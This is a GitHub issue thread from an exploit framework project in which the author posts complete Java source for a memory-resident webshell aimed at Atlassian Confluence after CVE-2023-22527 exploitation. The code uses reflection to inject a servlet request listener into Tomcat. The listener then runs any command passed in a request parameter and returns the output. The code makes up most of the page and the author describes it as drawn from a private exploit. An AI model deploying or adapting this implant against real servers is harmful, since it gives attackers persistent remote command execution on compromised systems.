go-exploit icon indicating copy to clipboard operation
go-exploit copied to clipboard

Add Java Webshell Bytecode

Open j-baines opened this issue 1 year ago • 1 comments

j-baines avatar Feb 16 '24 21:02 j-baines

The use case I'm using this for (which is Confluence), needs to be made more generic. I felt like I should have been able to pass the context in the constructor via normal getRequest().getServletContext() but I wasn't successful so the Godzilla webshell shim that uses com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager survives... obviously making it not generic. Need to find time to spend with this, but this version is basically in my private exploit.

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.io.PrintWriter;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import javax.servlet.*;

// Original code was taken from: https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL/blob/main/src/main/ConfluenceFilterMemshell.java
// But adapted to be a generic webshell and look more like https://medium.com/@m01e/jsp-webshell-cookbook-part-3-f2a96f3b81ad
//
// This code depends on servlet-api.jar (Tomcat 9.0)
public class ABCDEFG implements ServletRequestListener {

    public ABCDEFG() {
        try {
            addListener(this, getStandardContext());
        } catch (Throwable e) {
        }
    }

    private Object getStandardContext() throws Exception{
        Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance();
        Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest");
        Object context = ((ServletRequest)getRequest.invoke(servletActionContextCompatManager, null)).getServletContext();
        return getFieldValue(getFieldValue(context,"context"), "context");
    }

    private void addListener(Object listener, Object standardContext) throws Exception {
        Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
        addApplicationEventListenerMethod.setAccessible(true);
        addApplicationEventListenerMethod.invoke(standardContext, listener);
    }

    @Override
    public void requestInitialized(ServletRequestEvent sret) {
        try {
            ServletRequest request = sret.getServletRequest();
            String cmd = request.getParameter("AAAAAAAAAAAA");
            if (cmd != null) {
                ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
                PrintWriter printWriter = response.getWriter();
                Process p = Runtime.getRuntime().exec(cmd);
                OutputStream os = p.getOutputStream();
                InputStream in = p.getInputStream();
                DataInputStream dis = new DataInputStream( in );
                String disr = dis.readLine();
                while (disr != null) {
                    printWriter.write(disr);
                    disr = dis.readLine();
                }
                printWriter.flush();
                printWriter.close();
            }
        }
        catch (Exception e) {
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = null;
        if (obj instanceof Field) {
            f = (Field) obj;
        } else {
            Method method = null;
            Class cs = obj.getClass();
            while (cs != null) {
                try {
                    f = cs.getDeclaredField(fieldName);
                    cs = null;
                } catch (Exception e) {
                    cs = cs.getSuperclass();
                }
            }
        }
        f.setAccessible(true);
        return f.get(obj);
    }
}

j-baines avatar Feb 20 '24 18:02 j-baines